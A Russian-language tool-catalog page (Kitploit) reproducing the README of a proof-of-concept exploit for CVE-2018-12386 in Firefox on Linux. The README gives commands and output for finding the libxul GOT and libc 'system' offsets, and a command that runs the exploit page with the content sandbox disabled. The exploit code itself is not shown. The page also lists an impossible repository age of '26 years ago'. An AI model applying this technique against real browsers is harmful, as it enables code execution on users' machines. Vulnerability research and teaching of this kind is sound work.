Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2018-12386 — CVE-2018-12386 - Эксплойт RCE в песочнице Firefox для Linux (Firefox <v62.0.3) | Kitploit
Инструменты/GitHubGitHub/0xlyte/cve-2018-12386
Анализ уязвимостейЭксплуатацияОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHub0xlyte/cve-2018-12386

cve-2018-12386

CVE-2018-12386 - Эксплойт RCE в песочнице Firefox для Linux (Firefox <v62.0.3)

Репозиторий
26 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт для RCE в песочнице Firefox (CVE-2018-12386)

Вот простой эксплойт для уязвимости CVE-2018-12386, найденной Никласом Баумстарком, Самуэлем Гроссом и Бруно Китом.

В основном это PoC, сделанный мной ради развлечения; здесь нет обхода песочницы, и он будет работать только в определенной конфигурации Linux, где уже известны смещения, используемые эксплойтом (их можно изменить в exploit/offsets.js).

Этот эксплойт работает для версий, предшествующих Firefox 62.0.3 и Firefox ESR 60.2.2.

Загрузка Firefox для тестирования эксплойта

Вы можете скачать прошлые выпуски Firefox напрямую с FTP-сервера Mozilla: https://ftp.mozilla.org/pub/firefox/releases/

Можно использовать, например, версию 62.0.2 для 64-битной Linux: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.

root@kitploit:~
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar

Поиск смещений

Смещения libxul.so

libxul_math_max

Если вы используете Firefox 62.0.2, смещения, указанные в exploit/offsets.js, должны быть правильными.

Для других версий простой способ — использовать примитив addrof для утечки адреса JavaScript-функции Math.max, затем найти базовый адрес libxul.so для текущего экземпляра Firefox (например, с помощью cat /proc/$(pidof firefox)/maps) и вычесть одно из другого, чтобы получить смещение libxul_math_max.

libxul_got_memmove и libxul_got_tolower

Если вы используете Firefox 62.0.2, смещения, указанные в exploit/offsets.js, должны быть правильными.

Для других версий простой способ — использовать objdump.

root@kitploit:~
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
  8006f0:   ff 25 7a ac 40 05       jmpq   *0x540ac7a(%rip)        # 5c0b370 <memmove@GLIBC_2.2.5>

[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
  8052e0:	ff 25 82 86 40 05    	jmpq   *0x5408682(%rip)        # 5c0d968 <tolower@GLIBC_2.2.5>

5c0b370 и 5c0d968 — это нужные нам значения, то есть смещения memmove и tolower в libxul.so.

Смещения libc.so.6

Эти смещения полностью зависят от версии libc, которую вы используете.

root@kitploit:~
# расположение libc.so.6

[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6

libc_tolower

root@kitploit:~
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower

libc_system

root@kitploit:~
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system

Тестирование эксплойта

После того как у вас есть Firefox и правильные смещения, вы можете протестировать эксплойт, запустив следующую команду:

root@kitploit:~
MOZ_DISABLE_CONTENT_SANDBOX=1 /путь/к/уязвимому/firefox /путь/к/cve-2018-12386/exploit/pwn.html

Демонстрация

Контакты

Если хотите поздороваться: @lyte__

Скачать инструмент